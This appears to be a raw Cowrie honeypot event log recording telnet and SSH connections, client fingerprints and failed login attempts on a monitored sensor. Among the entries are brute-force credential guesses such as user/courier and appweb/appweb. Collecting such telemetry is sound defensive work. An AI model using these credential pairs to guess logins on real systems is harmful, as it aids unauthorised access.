{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":35466,"dst_ip":"10.17.0.5","dst_port":23,"session":"37a914390871","protocol":"telnet","message":"New connection: 64.235.40.29:35466 (10.17.0.5:23) [session: 37a914390871]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:50:56.234783Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":35480,"dst_ip":"10.17.0.5","dst_port":23,"session":"6be7b720e7d0","protocol":"telnet","message":"New connection: 64.235.40.29:35480 (10.17.0.5:23) [session: 6be7b720e7d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:50:56.762868Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":35512,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed6b4e0b1f0c","protocol":"telnet","message":"New connection: 64.235.40.29:35512 (10.17.0.5:23) [session: ed6b4e0b1f0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:50:59.165035Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":35496,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d37ae1b82eb","protocol":"telnet","message":"New connection: 64.235.40.29:35496 (10.17.0.5:23) [session: 7d37ae1b82eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:50:59.551503Z"}
{"eventid":"cowrie.session.closed","duration":"36.0","message":"Connection lost after 36.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:02.975779Z","src_ip":"122.168.114.167","session":"f27abff5b26c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.898329496383667,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:04.106131Z","src_ip":"64.235.40.29","session":"3a9526ca676d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":35514,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7dbdf577687","protocol":"telnet","message":"New connection: 64.235.40.29:35514 (10.17.0.5:23) [session: c7dbdf577687]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:04.248877Z"}
{"eventid":"cowrie.session.closed","duration":31.100833415985107,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:05.124917Z","src_ip":"64.235.40.29","session":"2ac459dbcb17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":39586,"dst_ip":"10.17.0.5","dst_port":23,"session":"58a70dd43f11","protocol":"telnet","message":"New connection: 64.235.40.29:39586 (10.17.0.5:23) [session: 58a70dd43f11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:05.281177Z"}
{"eventid":"cowrie.session.closed","duration":31.01618719100952,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:06.067733Z","src_ip":"64.235.40.29","session":"d6bda461bb0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":39600,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6b1590fe602","protocol":"telnet","message":"New connection: 64.235.40.29:39600 (10.17.0.5:23) [session: f6b1590fe602]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:07.032664Z"}
{"eventid":"cowrie.session.closed","duration":30.6127769947052,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:07.048114Z","src_ip":"64.235.40.29","session":"2dd069c5e1b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":33160,"dst_ip":"159.203.135.109","dst_port":22,"session":"682aafa65901","protocol":"ssh","message":"New connection: 2.57.121.25:33160 (159.203.135.109:22) [session: 682aafa65901]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:07.184281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:07.189331Z","src_ip":"2.57.121.25","session":"682aafa65901","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":39612,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e1cc6d58754","protocol":"telnet","message":"New connection: 64.235.40.29:39612 (10.17.0.5:23) [session: 4e1cc6d58754]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:07.220796Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":36124,"dst_ip":"159.203.135.109","dst_port":22,"session":"40a48224dd05","protocol":"ssh","message":"New connection: 122.168.114.167:36124 (159.203.135.109:22) [session: 40a48224dd05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:07.260454Z"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:07.294882Z","src_ip":"2.57.121.25","session":"682aafa65901","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"courier","message":"login attempt [user/courier] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:07.789744Z","src_ip":"2.57.121.25","session":"682aafa65901","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":39618,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc307fdb5c82","protocol":"telnet","message":"New connection: 64.235.40.29:39618 (10.17.0.5:23) [session: cc307fdb5c82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:08.118857Z"}
{"eventid":"cowrie.session.closed","duration":30.50956916809082,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:08.165232Z","src_ip":"64.235.40.29","session":"8e36784babc2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.177359342575073,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:08.305196Z","src_ip":"64.235.40.29","session":"d1741fdb6268","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"corpse","message":"login attempt [user/corpse] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:08.897259Z","src_ip":"2.57.121.25","session":"682aafa65901","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.352720260620117,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:09.647794Z","src_ip":"64.235.40.29","session":"5db3675b9263","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"coolone","message":"login attempt [user/coolone] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:10.005465Z","src_ip":"2.57.121.25","session":"682aafa65901","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":39634,"dst_ip":"10.17.0.5","dst_port":23,"session":"70f99ca8bf1e","protocol":"telnet","message":"New connection: 64.235.40.29:39634 (10.17.0.5:23) [session: 70f99ca8bf1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:10.307190Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":39648,"dst_ip":"10.17.0.5","dst_port":23,"session":"625b868258c9","protocol":"telnet","message":"New connection: 64.235.40.29:39648 (10.17.0.5:23) [session: 625b868258c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:10.365810Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"colony","message":"login attempt [user/colony] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:11.113007Z","src_ip":"2.57.121.25","session":"682aafa65901","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.96665644645691,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:11.243807Z","src_ip":"64.235.40.29","session":"d94dce1da7f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":39660,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c9cacb6d7f4","protocol":"telnet","message":"New connection: 64.235.40.29:39660 (10.17.0.5:23) [session: 6c9cacb6d7f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:11.550871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:12.030336Z","src_ip":"122.168.114.167","session":"40a48224dd05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:12.033269Z","src_ip":"122.168.114.167","session":"40a48224dd05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"colombo","message":"login attempt [user/colombo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:12.220799Z","src_ip":"2.57.121.25","session":"682aafa65901","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46116,"dst_ip":"159.203.135.109","dst_port":22,"session":"18ca51af5639","protocol":"ssh","message":"New connection: 159.203.92.129:46116 (159.203.135.109:22) [session: 18ca51af5639]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:12.448747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:12.455516Z","src_ip":"159.203.92.129","session":"18ca51af5639","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:12.460579Z","src_ip":"159.203.92.129","session":"18ca51af5639","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appweb","password":"appweb","message":"login attempt [appweb/appweb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:12.472423Z","src_ip":"159.203.92.129","session":"18ca51af5639","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.21772313117981,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:13.228437Z","src_ip":"64.235.40.29","session":"73856b8985bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:13.328840Z","src_ip":"2.57.121.25","session":"682aafa65901","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:13.478095Z","src_ip":"159.203.92.129","session":"18ca51af5639","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":39676,"dst_ip":"10.17.0.5","dst_port":23,"session":"44db58f8bdc7","protocol":"telnet","message":"New connection: 64.235.40.29:39676 (10.17.0.5:23) [session: 44db58f8bdc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:14.534196Z"}
{"eventid":"cowrie.session.closed","duration":31.366620540618896,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:14.569693Z","src_ip":"64.235.40.29","session":"2d4fc2c99d29","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.438910484313965,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:16.098167Z","src_ip":"64.235.40.29","session":"538dc1529bab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":46512,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c3562be2c44","protocol":"telnet","message":"New connection: 64.235.40.29:46512 (10.17.0.5:23) [session: 2c3562be2c44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:16.350353Z"}
{"eventid":"cowrie.session.closed","duration":43.38906812667847,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:16.983966Z","src_ip":"185.26.126.47","session":"537e80c48fb2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.63241958618164,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:18.008921Z","src_ip":"135.148.33.217","session":"8049a91e0991","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":35524,"dst_ip":"10.17.0.5","dst_port":23,"session":"f702c98584f0","protocol":"telnet","message":"New connection: 160.250.4.73:35524 (10.17.0.5:23) [session: f702c98584f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:18.549855Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":46524,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb39875f7865","protocol":"telnet","message":"New connection: 64.235.40.29:46524 (10.17.0.5:23) [session: cb39875f7865]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:18.555444Z"}
{"eventid":"cowrie.session.closed","duration":31.015563011169434,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:19.232199Z","src_ip":"64.235.40.29","session":"cdb1a57af511","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":46530,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ebc0c9f6315","protocol":"telnet","message":"New connection: 64.235.40.29:46530 (10.17.0.5:23) [session: 2ebc0c9f6315]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:20.198997Z"}
{"eventid":"cowrie.session.closed","duration":30.85168743133545,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:21.035896Z","src_ip":"64.235.40.29","session":"ef27b4cd9a99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.753960609436035,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:21.041524Z","src_ip":"64.235.40.29","session":"9b69ff30b9b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.941468000411987,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:21.106299Z","src_ip":"64.235.40.29","session":"0efbc74af19e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.565757751464844,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:21.873765Z","src_ip":"64.235.40.29","session":"70bc75a832bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.726550340652466,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:22.149813Z","src_ip":"64.235.40.29","session":"e33b2833ba1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":46536,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1b09aa37282","protocol":"telnet","message":"New connection: 64.235.40.29:46536 (10.17.0.5:23) [session: f1b09aa37282]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:22.214665Z"}
{"eventid":"cowrie.session.closed","duration":31.46812415122986,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:22.479148Z","src_ip":"64.235.40.29","session":"56ed4f15cf4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.112086296081543,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:23.049749Z","src_ip":"64.235.40.29","session":"023a7c5b300e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":46564,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1fbee7998c4","protocol":"telnet","message":"New connection: 64.235.40.29:46564 (10.17.0.5:23) [session: e1fbee7998c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:23.617198Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":46552,"dst_ip":"10.17.0.5","dst_port":23,"session":"07b418ee6672","protocol":"telnet","message":"New connection: 64.235.40.29:46552 (10.17.0.5:23) [session: 07b418ee6672]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:23.871079Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":46556,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cad524801e1","protocol":"telnet","message":"New connection: 64.235.40.29:46556 (10.17.0.5:23) [session: 9cad524801e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:24.124702Z"}
{"eventid":"cowrie.session.closed","duration":30.474708318710327,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:25.118335Z","src_ip":"64.235.40.29","session":"16b0317b3928","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.492852449417114,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:26.039359Z","src_ip":"64.235.40.29","session":"1536c25c6a62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":33584,"dst_ip":"10.17.0.5","dst_port":23,"session":"2550f56d117d","protocol":"telnet","message":"New connection: 64.235.40.29:33584 (10.17.0.5:23) [session: 2550f56d117d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:26.107147Z"}
{"eventid":"cowrie.session.closed","duration":30.92043662071228,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:26.474200Z","src_ip":"64.235.40.29","session":"50fa64ed781e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.30827045440674,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:27.071069Z","src_ip":"64.235.40.29","session":"6be7b720e7d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.021919012069702,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:27.256618Z","src_ip":"64.235.40.29","session":"37a914390871","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":33596,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1a519074cc4","protocol":"telnet","message":"New connection: 64.235.40.29:33596 (10.17.0.5:23) [session: e1a519074cc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:29.307812Z"}
{"eventid":"cowrie.session.closed","duration":30.485111474990845,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:51:30.036427Z","src_ip":"64.235.40.29","session":"7d37ae1b82eb","protocol":"telnet"}
